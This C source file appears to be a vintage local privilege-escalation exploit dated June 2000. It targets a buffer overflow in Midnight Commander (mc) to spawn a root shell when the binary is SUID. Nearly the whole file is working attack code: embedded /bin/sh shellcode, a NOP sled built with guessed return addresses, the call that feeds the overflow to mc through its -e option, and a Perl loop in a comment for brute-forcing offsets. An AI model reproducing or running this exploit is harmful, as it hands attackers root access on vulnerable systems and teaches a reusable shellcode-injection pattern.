/* (linux)mc buffer overflow[2], by v9[v9@fakehalo.org].  this will give you
   a euid=0 shell if /usr/bin/mc is SUID(=4755), which isn't anywheres by 
   default that i know of.  another overflow found when playing around, same 
   time when i found mc_bof.c
 
   note: usually, if /usr/bin/mc isn't SUID(=4755) or you're not uid=0 it
   won't launch the shell.  use offsets around 3500 or higher.
 
   here is a quick perl script to run offsets (until ctrl-c):
 
   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "offset: $i.\n";
    system("./mc_bof2 $i");
    $i++; # or $i+=100; if you want to be speedy.
   } */

#define DEFAULT_OFFSET 3500
static char exec[]=
  "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
  "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
  "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // i like hex01.
long esp(void)
{
  __asm__("movl %esp,%eax");
}
int main(int argc,char **argv)
{
  char bof[980];
  int i,offset;
  long ret;
  if(argc>1)
    {
      offset=atoi(argv[1]);
    }
  else
    {
      offset=DEFAULT_OFFSET;
    }
  ret=(esp()-offset);
  printf("NOTE: type \"stty echo\" to see what you type when the shell loads.\nreturn address: 0x%lx, offset: %d.\n",ret,offset);
  for(i=1;i<980;i+=4)
    {
      *(long *)&bof[i]=ret;
    }
  for(i=0;i<(973-strlen(exec));i++)
    {
      *(bof+i)=0x90;
    }
  memcpy(bof+i,exec,strlen(exec));
  sleep(5);
  execlp("/usr/bin/mc","mc","-e",bof,0);
}
/*                    www.hack.co.za           [27 June 2000]*/